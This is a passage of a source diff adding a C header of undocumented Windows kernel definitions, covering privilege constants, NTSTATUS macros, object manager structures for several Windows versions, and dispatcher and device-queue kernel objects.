SE_MACHINE_ACCOUNT_PRIVILEGE (6L) +#define SE_TCB_PRIVILEGE (7L) +#define SE_SECURITY_PRIVILEGE (8L) +#define SE_TAKE_OWNERSHIP_PRIVILEGE (9L) +#define SE_LOAD_DRIVER_PRIVILEGE (10L) +#define SE_SYSTEM_PROFILE_PRIVILEGE (11L) +#define SE_SYSTEMTIME_PRIVILEGE (12L) +#define SE_PROF_SINGLE_PROCESS_PRIVILEGE (13L) +#define SE_INC_BASE_PRIORITY_PRIVILEGE (14L) +#define SE_CREATE_PAGEFILE_PRIVILEGE (15L) +#define SE_CREATE_PERMANENT_PRIVILEGE (16L) +#define SE_BACKUP_PRIVILEGE (17L) +#define SE_RESTORE_PRIVILEGE (18L) +#define SE_SHUTDOWN_PRIVILEGE (19L) +#define SE_DEBUG_PRIVILEGE (20L) +#define SE_AUDIT_PRIVILEGE (21L) +#define SE_SYSTEM_ENVIRONMENT_PRIVILEGE (22L) +#define SE_CHANGE_NOTIFY_PRIVILEGE (23L) +#define SE_REMOTE_SHUTDOWN_PRIVILEGE (24L) +#define SE_UNDOCK_PRIVILEGE (25L) +#define SE_SYNC_AGENT_PRIVILEGE (26L) +#define SE_ENABLE_DELEGATION_PRIVILEGE (27L) +#define SE_MANAGE_VOLUME_PRIVILEGE (28L) +#define SE_IMPERSONATE_PRIVILEGE (29L) +#define SE_CREATE_GLOBAL_PRIVILEGE (30L) +#define SE_TRUSTED_CREDMAN_ACCESS_PRIVILEGE (31L) +#define SE_RELABEL_PRIVILEGE (32L) +#define SE_INC_WORKING_SET_PRIVILEGE (33L) +#define SE_TIME_ZONE_PRIVILEGE (34L) +#define SE_CREATE_SYMBOLIC_LINK_PRIVILEGE (35L) +#define SE_DELEGATE_SESSION_USER_IMPERSONATE_PRIVILEGE (36L) +#define SE_MAX_WELL_KNOWN_PRIVILEGE SE_DELEGATE_SESSION_USER_IMPERSONATE_PRIVILEGE + +// +// Generic test for success on any status value (non-negative numbers +// indicate success). +// + +#define NT_SUCCESS(Status) ((NTSTATUS)(Status) >= 0) + +// +// Generic test for information on any status value. +// + +#define NT_INFORMATION(Status) ((ULONG)(Status) >> 30 == 1) + +// +// Generic test for warning on any status value. +// + +#define NT_WARNING(Status) ((ULONG)(Status) >> 30 == 2) + +// +// Generic test for error on any status value. +// + +#define NT_ERROR(Status) ((ULONG)(Status) >> 30 == 3) + + +/* +** OBJECT MANAGER START +*/ + +// +// Header flags +// + +#define OB_FLAG_NEW_OBJECT 0x01 +#define OB_FLAG_KERNEL_OBJECT 0x02 +#define OB_FLAG_CREATOR_INFO 0x04 +#define OB_FLAG_EXCLUSIVE_OBJECT 0x08 +#define OB_FLAG_PERMANENT_OBJECT 0x10 +#define OB_FLAG_DEFAULT_SECURITY_QUOTA 0x20 +#define OB_FLAG_SINGLE_HANDLE_ENTRY 0x40 +#define OB_FLAG_DELETED_INLINE 0x80 + +// +// InfoMask values +// + +#define OB_INFOMASK_PROCESS_INFO 0x10 +#define OB_INFOMASK_QUOTA 0x08 +#define OB_INFOMASK_HANDLE 0x04 +#define OB_INFOMASK_NAME 0x02 +#define OB_INFOMASK_CREATOR_INFO 0x01 + +#define OBJ_INVALID_SESSION_ID 0xFFFFFFFF +#define NUMBER_HASH_BUCKETS 37 + +typedef struct _OBJECT_DIRECTORY_ENTRY { + PVOID ChainLink; + PVOID Object; + ULONG HashValue; +} OBJECT_DIRECTORY_ENTRY, *POBJECT_DIRECTORY_ENTRY; + +typedef struct _EX_PUSH_LOCK { + union + { + ULONG Locked : 1; + ULONG Waiting : 1; + ULONG Waking : 1; + ULONG MultipleShared : 1; + ULONG Shared : 28; + ULONG Value; + PVOID Ptr; + }; +} EX_PUSH_LOCK, *PEX_PUSH_LOCK; + +typedef struct _OBJECT_NAMESPACE_LOOKUPTABLE { + LIST_ENTRY HashBuckets[NUMBER_HASH_BUCKETS]; + EX_PUSH_LOCK Lock; + ULONG NumberOfPrivateSpaces; +} OBJECT_NAMESPACE_LOOKUPTABLE, *POBJECT_NAMESPACE_LOOKUPTABLE; + +typedef struct _OBJECT_NAMESPACE_ENTRY { + LIST_ENTRY ListEntry; + PVOID NamespaceRootDirectory; + ULONG SizeOfBoundaryInformation; + ULONG Reserved; + UCHAR HashValue; + ULONG_PTR Alignment; +} OBJECT_NAMESPACE_ENTRY, *POBJECT_NAMESPACE_ENTRY; + +typedef enum _BOUNDARY_ENTRY_TYPE { + OBNS_Invalid = 0, + OBNS_Name = 1, + OBNS_SID = 2, + OBNS_IntegrityLabel = 3 +} BOUNDARY_ENTRY_TYPE; + +typedef struct _OBJECT_BOUNDARY_ENTRY { + BOUNDARY_ENTRY_TYPE EntryType; + ULONG EntrySize; +} OBJECT_BOUNDARY_ENTRY, *POBJECT_BOUNDARY_ENTRY; + +typedef struct _OBJECT_BOUNDARY_DESCRIPTOR { + ULONG Version; + ULONG Items; + ULONG TotalSize; + ULONG Reserved; +} OBJECT_BOUNDARY_DESCRIPTOR, *POBJECT_BOUNDARY_DESCRIPTOR; + +typedef struct _OBJECT_DIRECTORY { + POBJECT_DIRECTORY_ENTRY HashBuckets[NUMBER_HASH_BUCKETS]; + EX_PUSH_LOCK Lock; + PDEVICE_MAP DeviceMap; + ULONG SessionId; + PVOID NamespaceEntry; + ULONG Flags; +} OBJECT_DIRECTORY, *POBJECT_DIRECTORY; + +typedef struct _OBJECT_DIRECTORY_V2 { + POBJECT_DIRECTORY_ENTRY HashBuckets[NUMBER_HASH_BUCKETS]; + EX_PUSH_LOCK Lock; + PDEVICE_MAP DeviceMap; + POBJECT_DIRECTORY ShadowDirectory; + ULONG SessionId; + PVOID NamespaceEntry; + ULONG Flags; + LONG Padding[1]; +} OBJECT_DIRECTORY_V2, *POBJECT_DIRECTORY_V2; + +typedef struct _OBJECT_DIRECTORY_V3 { + POBJECT_DIRECTORY_ENTRY HashBuckets[NUMBER_HASH_BUCKETS]; + EX_PUSH_LOCK Lock; + PDEVICE_MAP DeviceMap; + POBJECT_DIRECTORY ShadowDirectory; + PVOID NamespaceEntry; + PVOID SessionObject; + ULONG Flags; + ULONG SessionId; +} OBJECT_DIRECTORY_V3, *POBJECT_DIRECTORY_V3; + +typedef struct _OBJECT_HEADER_NAME_INFO { + POBJECT_DIRECTORY Directory; + UNICODE_STRING Name; + ULONG QueryReferences; +} OBJECT_HEADER_NAME_INFO, *POBJECT_HEADER_NAME_INFO; + +typedef struct _OBJECT_HEADER_CREATOR_INFO {// Size=32 + LIST_ENTRY TypeList; // Size=16 Offset=0 + PVOID CreatorUniqueProcess; // Size=8 Offset=16 + USHORT CreatorBackTraceIndex; // Size=2 Offset=24 + USHORT Reserved; // Size=2 Offset=26 +} OBJECT_HEADER_CREATOR_INFO, *POBJECT_HEADER_CREATOR_INFO; + +typedef struct _OBJECT_HANDLE_COUNT_ENTRY {// Size=16 + PVOID Process; // Size=8 Offset=0 + struct + { + unsigned long HandleCount : 24; // Size=4 Offset=8 BitOffset=0 BitCount=24 + unsigned long LockCount : 8; // Size=4 Offset=8 BitOffset=24 BitCount=8 + }; +} OBJECT_HANDLE_COUNT_ENTRY, *POBJECT_HANDLE_COUNT_ENTRY; + +typedef struct _OBJECT_HEADER_HANDLE_INFO { // Size=16 + union { + PVOID HandleCountDataBase; // Size=8 Offset=0 + struct _OBJECT_HANDLE_COUNT_ENTRY SingleEntry; // Size=16 Offset=0 + }; +} OBJECT_HEADER_HANDLE_INFO, *POBJECT_HEADER_HANDLE_INFO; + +typedef struct _OBJECT_HEADER_PROCESS_INFO { // Size=16 + PVOID ExclusiveProcess; // Size=8 Offset=0 + PVOID Reserved; // Size=8 Offset=8 +} OBJECT_HEADER_PROCESS_INFO, *POBJECT_HEADER_PROCESS_INFO; + +typedef struct _OBJECT_HEADER_QUOTA_INFO { + ULONG PagedPoolCharge; //4 + ULONG NonPagedPoolCharge; //4 + ULONG SecurityDescriptorCharge; //4 + PVOID SecurityDescriptorQuotaBlock; //sizeof(pointer) + unsigned __int64 Reserved; //sizeof(uint64) +} OBJECT_HEADER_QUOTA_INFO, *POBJECT_HEADER_QUOTA_INFO; + +typedef struct _OBJECT_HEADER_PADDING_INFO { + ULONG PaddingAmount; +} OBJECT_HEADER_PADDING_INFO, *POBJECT_HEADER_PADDING_INFO; + +typedef struct _OBJECT_HEADER_AUDIT_INFO { + PVOID SecurityDescriptor; + PVOID Reserved; +} OBJECT_HEADER_AUDIT_INFO, *POBJECT_HEADER_AUDIT_INFO; + +typedef struct _OBJECT_HEADER_EXTENDED_INFO { + struct _OBJECT_FOOTER *Footer; + PVOID Reserved; +} OBJECT_HEADER_EXTENDED_INFO, POBJECT_HEADER_EXTENDED_INFO; + +typedef struct _OB_HANDLE_REVOCATION_BLOCK +{ + LIST_ENTRY RevocationInfos; + struct _EX_PUSH_LOCK Lock; + struct _EX_RUNDOWN_REF Rundown; +} OB_HANDLE_REVOCATION_BLOCK, *POB_HANDLE_REVOCATION_BLOCK; + +typedef struct _OBJECT_HEADER_HANDLE_REVOCATION_INFO { + LIST_ENTRY ListEntry; + OB_HANDLE_REVOCATION_BLOCK* RevocationBlock; + unsigned char Padding1[4]; + unsigned char Padding2[4]; +} OBJECT_HEADER_HANDLE_REVOCATION_INFO, *POBJECT_HEADER_HANDLE_REVOCATION_INFO; + +typedef struct _QUAD { + union { + INT64 UseThisFieldToCopy; + float DoNotUseThisField; + }; +} QUAD, *PQUAD; + +typedef struct _OBJECT_CREATE_INFORMATION { + ULONG Attributes; + PVOID RootDirectory; + CHAR ProbeMode; + ULONG PagedPoolCharge; + ULONG NonPagedPoolCharge; + ULONG SecurityDescriptorCharge; + PVOID SecurityDescriptor; + PSECURITY_QUALITY_OF_SERVICE SecurityQos; + SECURITY_QUALITY_OF_SERVICE SecurityQualityOfService; +} OBJECT_CREATE_INFORMATION, *POBJECT_CREATE_INFORMATION; + +typedef struct _SECURITY_CLIENT_CONTEXT { + struct _SECURITY_QUALITY_OF_SERVICE SecurityQos; + void* ClientToken; + UCHAR DirectlyAccessClientToken; + UCHAR DirectAccessEffectiveOnly; + UCHAR ServerIsRemote; + struct _TOKEN_CONTROL ClientTokenControl; + LONG __PADDING__[1]; +} SECURITY_CLIENT_CONTEXT, *PSECURITY_CLIENT_CONTEXT; + +typedef enum _POOL_TYPE { + NonPagedPool, + NonPagedPoolExecute = NonPagedPool, + PagedPool, + NonPagedPoolMustSucceed = NonPagedPool + 2, + DontUseThisType, + NonPagedPoolCacheAligned = NonPagedPool + 4, + PagedPoolCacheAligned, + NonPagedPoolCacheAlignedMustS = NonPagedPool + 6, + MaxPoolType, + NonPagedPoolBase = 0, + NonPagedPoolBaseMustSucceed = NonPagedPoolBase + 2, + NonPagedPoolBaseCacheAligned = NonPagedPoolBase + 4, + NonPagedPoolBaseCacheAlignedMustS = NonPagedPoolBase + 6, + NonPagedPoolSession = 32, + PagedPoolSession = NonPagedPoolSession + 1, + NonPagedPoolMustSucceedSession = PagedPoolSession + 1, + DontUseThisTypeSession = NonPagedPoolMustSucceedSession + 1, + NonPagedPoolCacheAlignedSession = DontUseThisTypeSession + 1, + PagedPoolCacheAlignedSession = NonPagedPoolCacheAlignedSession + 1, + NonPagedPoolCacheAlignedMustSSession = PagedPoolCacheAlignedSession + 1, + NonPagedPoolNx = 512, + NonPagedPoolNxCacheAligned = NonPagedPoolNx + 4, + NonPagedPoolSessionNx = NonPagedPoolNx + 32 +} POOL_TYPE; + +// +// WARNING this structure is incomplete, refer to complete definitions below if you need actual full variant. +// +typedef struct _OBJECT_TYPE_INITIALIZER_COMPATIBLE {// Size=120 + USHORT Length; // Size=2 Offset=0 + UCHAR ObjectTypeFlags; // Size=1 Offset=2 + ULONG ObjectTypeCode; // Size=4 Offset=4 + ULONG InvalidAttributes; // Size=4 Offset=8 + GENERIC_MAPPING GenericMapping; // Size=16 Offset=12 + ULONG ValidAccessMask; // Size=4 Offset=28 + ULONG RetainAccess; // Size=4 Offset=32 + POOL_TYPE PoolType; // Size=4 Offset=36 + ULONG DefaultPagedPoolCharge; // Size=4 Offset=40 + ULONG DefaultNonPagedPoolCharge; // Size=4 Offset=44 + PVOID DumpProcedure; // Size=8 Offset=48 + PVOID OpenProcedure; // Size=8 Offset=56 + PVOID CloseProcedure; // Size=8 Offset=64 + PVOID DeleteProcedure; // Size=8 Offset=72 + PVOID ParseProcedure; // Size=8 Offset=80 + PVOID SecurityProcedure; // Size=8 Offset=88 + PVOID QueryNameProcedure; // Size=8 Offset=96 + PVOID OkayToCloseProcedure; // Size=8 Offset=104 +} OBJECT_TYPE_INITIALIZER_COMPATIBLE, *POBJECT_TYPE_INITIALIZER_COMPATIBLE; + +// +// WARNING this structure is incomplete, refer to complete definitions below if you need actual full variant. +// +typedef struct _OBJECT_TYPE_COMPATIBLE { + LIST_ENTRY TypeList; + UNICODE_STRING Name; + PVOID DefaultObject; + UCHAR Index; + ULONG TotalNumberOfObjects; + ULONG TotalNumberOfHandles; + ULONG HighWaterNumberOfObjects; + ULONG HighWaterNumberOfHandles; + OBJECT_TYPE_INITIALIZER_COMPATIBLE TypeInfo; +} OBJECT_TYPE_COMPATIBLE, *POBJECT_TYPE_COMPATIBLE; +typedef POBJECT_TYPE_COMPATIBLE POBJECT_TYPE; + +// +// Complete definitions of OBJECT_TYPE + OBJECT_TYPE_INITIALIZER per Windows version. +// + +typedef struct _OBJECT_TYPE_INITIALIZER_7 { + USHORT Length; + union + { + UCHAR ObjectTypeFlags; + struct + { + UCHAR CaseInsensitive : 1; + UCHAR UnnamedObjectsOnly : 1; + UCHAR UseDefaultObject : 1; + UCHAR SecurityRequired : 1; + UCHAR MaintainHandleCount : 1; + UCHAR MaintainTypeList : 1; + UCHAR SupportsObjectCallbacks : 1; + }; + }; + ULONG ObjectTypeCode; + ULONG InvalidAttributes; + GENERIC_MAPPING GenericMapping; + ULONG ValidAccessMask; + ULONG RetainAccess; + POOL_TYPE PoolType; + ULONG DefaultPagedPoolCharge; + ULONG DefaultNonPagedPoolCharge; + PVOID DumpProcedure; + PVOID OpenProcedure; + PVOID CloseProcedure; + PVOID DeleteProcedure; + PVOID ParseProcedure; + PVOID SecurityProcedure; + PVOID QueryNameProcedure; + PVOID OkayToCloseProcedure; +} OBJECT_TYPE_INITIALIZER_7, *POBJECT_TYPE_INITIALIZER_7; + +// +// Windows 8, new object type flag, WaitObject* members added +// +typedef struct _OBJECT_TYPE_INITIALIZER_8 { + USHORT Length; + union + { + UCHAR ObjectTypeFlags; + struct + { + UCHAR CaseInsensitive : 1; + UCHAR UnnamedObjectsOnly : 1; + UCHAR UseDefaultObject : 1; + UCHAR SecurityRequired : 1; + UCHAR MaintainHandleCount : 1; + UCHAR MaintainTypeList : 1; + UCHAR SupportsObjectCallbacks : 1; + UCHAR CacheAligned : 1; + }; + }; + ULONG ObjectTypeCode; + ULONG InvalidAttributes; + GENERIC_MAPPING GenericMapping; + ULONG ValidAccessMask; + ULONG RetainAccess; + POOL_TYPE PoolType; + ULONG DefaultPagedPoolCharge; + ULONG DefaultNonPagedPoolCharge; + PVOID DumpProcedure; + PVOID OpenProcedure; + PVOID CloseProcedure; + PVOID DeleteProcedure; + PVOID ParseProcedure; + PVOID SecurityProcedure; + PVOID QueryNameProcedure; + PVOID OkayToCloseProcedure; + ULONG WaitObjectFlagMask; + USHORT WaitObjectFlagOffset; + USHORT WaitObjectPointerOffset; +} OBJECT_TYPE_INITIALIZER_8, *POBJECT_TYPE_INITIALIZER_8; + +// +// Windows 10 RS1, new ObjectTypeFlags2 flag added, +// ParseProcedure now has two variants with different parameters. +// +typedef struct _OBJECT_TYPE_INITIALIZER_RS1 { + USHORT Length; + union + { + UCHAR ObjectTypeFlags; + struct + { + UCHAR CaseInsensitive : 1; + UCHAR UnnamedObjectsOnly : 1; + UCHAR UseDefaultObject : 1; + UCHAR SecurityRequired : 1; + UCHAR MaintainHandleCount : 1; + UCHAR MaintainTypeList : 1; + UCHAR SupportsObjectCallbacks : 1; + UCHAR CacheAligned : 1; + }; + }; + union + { + UCHAR ObjectTypeFlags2; //for ParseProcedureEx + struct + { + UCHAR UseExtendedParameters : 1; + UCHAR Reserved : 7; + }; + }; + ULONG ObjectTypeCode; + ULONG InvalidAttributes; + GENERIC_MAPPING GenericMapping; + ULONG ValidAccessMask; + ULONG RetainAccess; + POOL_TYPE PoolType; + ULONG DefaultPagedPoolCharge; + ULONG DefaultNonPagedPoolCharge; + PVOID DumpProcedure; + PVOID OpenProcedure; + PVOID CloseProcedure; + PVOID DeleteProcedure; + union { + PVOID ParseProcedure; + PVOID ParseProcedureEx; + }; + PVOID SecurityProcedure; + PVOID QueryNameProcedure; + PVOID OkayToCloseProcedure; + ULONG WaitObjectFlagMask; + USHORT WaitObjectFlagOffset; + USHORT WaitObjectPointerOffset; +} OBJECT_TYPE_INITIALIZER_RS1, *POBJECT_TYPE_INITIALIZER_RS1; + +// +// ObjectTypeFlags2 moved to extended to USHORT ObjectTypeFlags field. +// It was that hard to do this since beginning? +// +typedef struct _OBJECT_TYPE_INITIALIZER_RS2 { + USHORT Length; + union + { + USHORT ObjectTypeFlags; + struct + { + UCHAR CaseInsensitive : 1; + UCHAR UnnamedObjectsOnly : 1; + UCHAR UseDefaultObject : 1; + UCHAR SecurityRequired : 1; + UCHAR MaintainHandleCount : 1; + UCHAR MaintainTypeList : 1; + UCHAR SupportsObjectCallbacks : 1; + UCHAR CacheAligned : 1; + }; + struct + { + UCHAR UseExtendedParameters : 1;//for ParseProcedureEx + UCHAR Reserved : 7; + }; + }; + ULONG ObjectTypeCode; + ULONG InvalidAttributes; + GENERIC_MAPPING GenericMapping; + ULONG ValidAccessMask; + ULONG RetainAccess; + POOL_TYPE PoolType; + ULONG DefaultPagedPoolCharge; + ULONG DefaultNonPagedPoolCharge; + PVOID DumpProcedure; + PVOID OpenProcedure; + PVOID CloseProcedure; + PVOID DeleteProcedure; + union { + PVOID ParseProcedure; + PVOID ParseProcedureEx; + }; + PVOID SecurityProcedure; + PVOID QueryNameProcedure; + PVOID OkayToCloseProcedure; + ULONG WaitObjectFlagMask; + USHORT WaitObjectFlagOffset; + USHORT WaitObjectPointerOffset; +} OBJECT_TYPE_INITIALIZER_RS2, *POBJECT_TYPE_INITIALIZER_RS2; + +// +// OBJECT_TYPE definition vary only because of OBJECT_TYPE_INITIALIZER changes. +// +typedef struct _OBJECT_TYPE_7 { + LIST_ENTRY TypeList; + UNICODE_STRING Name; + PVOID DefaultObject; + UCHAR Index; + ULONG TotalNumberOfObjects; + ULONG TotalNumberOfHandles; + ULONG HighWaterNumberOfObjects; + ULONG HighWaterNumberOfHandles; + OBJECT_TYPE_INITIALIZER_7 TypeInfo; + EX_PUSH_LOCK TypeLock; + ULONG Key; + LIST_ENTRY CallbackList; +} OBJECT_TYPE_7, POBJECT_TYPE_7; + +typedef struct _OBJECT_TYPE_8 { + LIST_ENTRY TypeList; + UNICODE_STRING Name; + PVOID DefaultObject; + UCHAR Index; + ULONG TotalNumberOfObjects; + ULONG TotalNumberOfHandles; + ULONG HighWaterNumberOfObjects; + ULONG HighWaterNumberOfHandles; + OBJECT_TYPE_INITIALIZER_8 TypeInfo; + EX_PUSH_LOCK TypeLock; + ULONG Key; + LIST_ENTRY CallbackList; +} OBJECT_TYPE_8, POBJECT_TYPE_8; + +typedef struct _OBJECT_TYPE_RS1 { + LIST_ENTRY TypeList; + UNICODE_STRING Name; + PVOID DefaultObject; + UCHAR Index; + ULONG TotalNumberOfObjects; + ULONG TotalNumberOfHandles; + ULONG HighWaterNumberOfObjects; + ULONG HighWaterNumberOfHandles; + OBJECT_TYPE_INITIALIZER_RS1 TypeInfo; + EX_PUSH_LOCK TypeLock; + ULONG Key; + LIST_ENTRY CallbackList; +} OBJECT_TYPE_RS1, POBJECT_TYPE_RS1; + +typedef struct _OBJECT_TYPE_RS2 { + LIST_ENTRY TypeList; + UNICODE_STRING Name; + PVOID DefaultObject; + UCHAR Index; + ULONG TotalNumberOfObjects; + ULONG TotalNumberOfHandles; + ULONG HighWaterNumberOfObjects; + ULONG HighWaterNumberOfHandles; + OBJECT_TYPE_INITIALIZER_RS2 TypeInfo; + EX_PUSH_LOCK TypeLock; + ULONG Key; + LIST_ENTRY CallbackList; +} OBJECT_TYPE_RS2, POBJECT_TYPE_RS2; + +/* +** brand new header starting from 6.1 +*/ + +typedef struct _OBJECT_HEADER { + LONG_PTR PointerCount; + union + { + LONG_PTR HandleCount; + PVOID NextToFree; + }; + EX_PUSH_LOCK Lock; + UCHAR TypeIndex; + UCHAR TraceFlags; + UCHAR InfoMask; + UCHAR Flags; + union + { + POBJECT_CREATE_INFORMATION ObjectCreateInfo; + PVOID QuotaBlockCharged; + }; + PVOID SecurityDescriptor; + QUAD Body; +} OBJECT_HEADER, *POBJECT_HEADER; + +#define OBJECT_TO_OBJECT_HEADER(obj) \ + CONTAINING_RECORD( (obj), OBJECT_HEADER, Body ) + +/* +** OBJECT MANAGER END +*/ + +/* +* WDM START +*/ +#define TIMER_TOLERABLE_DELAY_BITS 6 +#define TIMER_EXPIRED_INDEX_BITS 6 +#define TIMER_PROCESSOR_INDEX_BITS 5 + +typedef struct _DISPATCHER_HEADER { + union { + union { + volatile LONG Lock; + LONG LockNV; + } DUMMYUNIONNAME; + + struct { // Events, Semaphores, Gates, etc. + UCHAR Type; // All (accessible via KOBJECT_TYPE) + UCHAR Signalling; + UCHAR Size; + UCHAR Reserved1; + } DUMMYSTRUCTNAME; + + struct { // Timer + UCHAR TimerType; + union { + UCHAR TimerControlFlags; + struct { + UCHAR Absolute : 1; + UCHAR Wake : 1; + UCHAR EncodedTolerableDelay : TIMER_TOLERABLE_DELAY_BITS; + } DUMMYSTRUCTNAME; + }; + + UCHAR Hand; + union { + UCHAR TimerMiscFlags; + struct { + +#if !defined(KENCODED_TIMER_PROCESSOR) + + UCHAR Index : TIMER_EXPIRED_INDEX_BITS; + +#else + + UCHAR Index : 1; + UCHAR Processor : TIMER_PROCESSOR_INDEX_BITS; + +#endif + + UCHAR Inserted : 1; + volatile UCHAR Expired : 1; + } DUMMYSTRUCTNAME; + } DUMMYUNIONNAME; + } DUMMYSTRUCTNAME2; + + struct { // Timer2 + UCHAR Timer2Type; + union { + UCHAR Timer2Flags; + struct { + UCHAR Timer2Inserted : 1; + UCHAR Timer2Expiring : 1; + UCHAR Timer2CancelPending : 1; + UCHAR Timer2SetPending : 1; + UCHAR Timer2Running : 1; + UCHAR Timer2Disabled : 1; + UCHAR Timer2ReservedFlags : 2; + } DUMMYSTRUCTNAME; + } DUMMYUNIONNAME; + + UCHAR Timer2Reserved1; + UCHAR Timer2Reserved2; + } DUMMYSTRUCTNAME3; + + struct { // Queue + UCHAR QueueType; + union { + UCHAR QueueControlFlags; + struct { + UCHAR Abandoned : 1; + UCHAR DisableIncrement : 1; + UCHAR QueueReservedControlFlags : 6; + } DUMMYSTRUCTNAME; + } DUMMYUNIONNAME; + + UCHAR QueueSize; + UCHAR QueueReserved; + } DUMMYSTRUCTNAME4; + + struct { // Thread + UCHAR ThreadType; + UCHAR ThreadReserved; + union { + UCHAR ThreadControlFlags; + struct { + UCHAR CycleProfiling : 1; + UCHAR CounterProfiling : 1; + UCHAR GroupScheduling : 1; + UCHAR AffinitySet : 1; + UCHAR ThreadReservedControlFlags : 4; + } DUMMYSTRUCTNAME; + } DUMMYUNIONNAME; + + union { + UCHAR DebugActive; + +#if !defined(_X86_) + + struct { + BOOLEAN ActiveDR7 : 1; + BOOLEAN Instrumented : 1; + BOOLEAN Minimal : 1; + BOOLEAN Reserved4 : 3; + BOOLEAN UmsScheduled : 1; + BOOLEAN UmsPrimary : 1; + } DUMMYSTRUCTNAME; + +#endif + + } DUMMYUNIONNAME2; + } DUMMYSTRUCTNAME5; + + struct { // Mutant + UCHAR MutantType; + UCHAR MutantSize; + BOOLEAN DpcActive; + UCHAR MutantReserved; + } DUMMYSTRUCTNAME6; + } DUMMYUNIONNAME; + + LONG SignalState; // Object lock + LIST_ENTRY WaitListHead; // Object lock +} DISPATCHER_HEADER, *PDISPATCHER_HEADER; + +typedef struct _KEVENT { + DISPATCHER_HEADER Header; +} KEVENT, *PKEVENT, *PRKEVENT; + +typedef struct _FAST_MUTEX { + LONG_PTR Count; + void *Owner; + ULONG Contention; + struct _KEVENT Event; + ULONG OldIrql; + LONG __PADDING__[1]; +} FAST_MUTEX, *PFAST_MUTEX; + +typedef struct _KMUTANT { + DISPATCHER_HEADER Header; + LIST_ENTRY MutantListEntry; + struct _KTHREAD *OwnerThread; + BOOLEAN Abandoned; + UCHAR ApcDisable; +} KMUTANT, *PKMUTANT, *PRKMUTANT, KMUTEX, *PKMUTEX, *PRKMUTEX; + +typedef struct _KSEMAPHORE { + DISPATCHER_HEADER Header; + LONG Limit; +} KSEMAPHORE, *PKSEMAPHORE, *PRKSEMAPHORE; + +typedef struct _KTIMER { + DISPATCHER_HEADER Header; + ULARGE_INTEGER DueTime; + LIST_ENTRY TimerListEntry; + struct _KDPC *Dpc; + ULONG Processor; + LONG Period; +} KTIMER, *PKTIMER, *PRKTIMER; + +typedef struct _KDEVICE_QUEUE_ENTRY { + LIST_ENTRY DeviceListEntry; + ULONG SortKey; + BOOLEAN Inserted; +} KDEVICE_QUEUE_ENTRY, *PKDEVICE_QUEUE_ENTRY, *PRKDEVICE_QUEUE_ENTRY; + +typedef enum _KDPC_IMPORTANCE { + LowImportance, + MediumImportance, + HighImportance +} KDPC_IMPORTANCE; + +typedef struct _KDPC { + union { + ULONG TargetInfoAsUlong; + struct { + UCHAR Type; + UCHAR Importance; + volatile USHORT Number; + } DUMMYSTRUCTNAME; + } DUMMYUNIONNAME; + + SINGLE_LIST_ENTRY DpcListEntry; + KAFFINITY ProcessorHistory; + PVOID DeferredRoutine; + PVOID DeferredContext; + PVOID SystemArgument1; + PVOID SystemArgument2; + __volatile PVOID DpcData; +} KDPC, *PKDPC, *PRKDPC; + +typedef struct _WAIT_CONTEXT_BLOCK { + union { + KDEVICE_QUEUE_ENTRY WaitQueueEntry; + struct { + LIST_ENTRY DmaWaitEntry; + ULONG NumberOfChannels; + ULONG SyncCallback : 1; + ULONG DmaContext : 1; + ULONG Reserved : 30; + }; + }; + PVOID DeviceRoutine; + PVOID DeviceContext; + ULONG NumberOfMapRegisters; + PVOID DeviceObject; + PVOID CurrentIrp; + PKDPC BufferChainingDpc; +} WAIT_CONTEXT_BLOCK, *PWAIT_CONTEXT_BLOCK; + +#define MAXIMUM_VOLUME_LABEL_LENGTH (32 * sizeof(WCHAR)) // 32 characters + +typedef struct _VPB { + CSHORT Type; + CSHORT Size; + USHORT Flags; + USHORT VolumeLabelLength; // in bytes + struct _DEVICE_OBJECT *DeviceObject; + struct _DEVICE_OBJECT *RealDevice; + ULONG SerialNumber; + ULONG ReferenceCount; + WCHAR VolumeLabel[MAXIMUM_VOLUME_LABEL_LENGTH / sizeof(WCHAR)]; +} VPB, *PVPB; + +typedef struct _KQUEUE { + DISPATCHER_HEADER Header; + LIST_ENTRY EntryListHead; + ULONG CurrentCount; + ULONG MaximumCount; + LIST_ENTRY ThreadListHead; +} KQUEUE, *PKQUEUE; + +typedef struct _KDEVICE_QUEUE { + CSHORT Type; + CSHORT Size; + LIST_ENTRY DeviceListHead; + KSPIN_LOCK Lock; + +#if defined(_AMD64_) + + union { + BOOLEAN Busy; + struct { + LONG64 Reserved : 8; + LONG64 Hint : 56; + }; + }; + +#else + + BOOLEAN Busy; + +#endif + +} KDEVICE_QUEUE, *PKDEVICE_QUEUE, *PRKDEVICE_QUEUE; + +enum _KOBJECTS { + EventNotificationObject = 0x0, + EventSynchronizationObject = 0x1, + MutantObject = 0x2, + ProcessObject = 0x3, + QueueObject = 0x4, + SemaphoreObject = 0x5, + ThreadObject = 0x6, + GateObject = 0x7, + TimerNotificationObject = 0x8, + TimerSynchronizationObject = 0x9, + Spare2Object = 0xa, + Spare3Object = 0xb, + Spare4Object = 0xc, + Spare5Object = 0xd, + Spare6Object = 0xe, + Spare7Object = 0xf, + Spare8Object = 0x10, + Spare9Object = 0x11, + ApcObject = 0x12, + DpcObject = 0x13, + DeviceQueueObject = 0x14, + EventPairObject = 0x15, + InterruptObject = 0x16, + ProfileObject = 0x17, + ThreadedDpcObject = 0x18, + MaximumKernelObject = 0x19, +}; + +#define DO_VERIFY_VOLUME 0x00000002 // ntddk nthal ntifs wdm +#define DO_BUFFERED_IO 0x00000004 // ntddk nthal ntifs wdm +#define DO_EXCLUSIVE 0x00000008 // ntddk nthal ntifs wdm +#define DO_DIRECT_IO 0x00000010 // ntddk nthal ntifs wdm +#define DO_MAP_IO_BUFFER 0x00000020 // ntddk nthal ntifs wdm +#define DO_DEVICE_HAS_NAME 0x00000040 // ntddk nthal ntifs +#define DO_DEVICE_INITIALIZING 0x00000080 // ntddk nthal ntifs wdm +#define DO_SYSTEM_BOOT_PARTITION 0x00000100 // ntddk nthal ntifs +#define DO_LONG_TERM_REQUESTS 0x00000200 // ntddk nthal ntifs +#define DO_NEVER_LAST_DEVICE 0x00000400 // ntddk nthal ntifs +#define DO_SHUTDOWN_REGISTERED 0x00000800 // ntddk nthal ntifs wdm +#define DO_BUS_ENUMERATED_DEVICE 0x00001000 // ntddk nthal ntifs wdm +#define DO_POWER_PAGABLE 0x00002000 // ntddk nthal ntifs wdm +#define DO_POWER_INRUSH 0x00004000 // ntddk nthal ntifs wdm +#define DO_POWER_NOOP 0x00008000 +#define DO_LOW_PRIORITY_FILESYSTEM 0x00010000 // ntddk nthal ntifs +#define DO_XIP 0x00020000 +#define DO_DEVICE_TO_BE_RESET 0x04000000 +#define DO_DAX_VOLUME 0x10000000 + +#define FILE_REMOVABLE_MEDIA 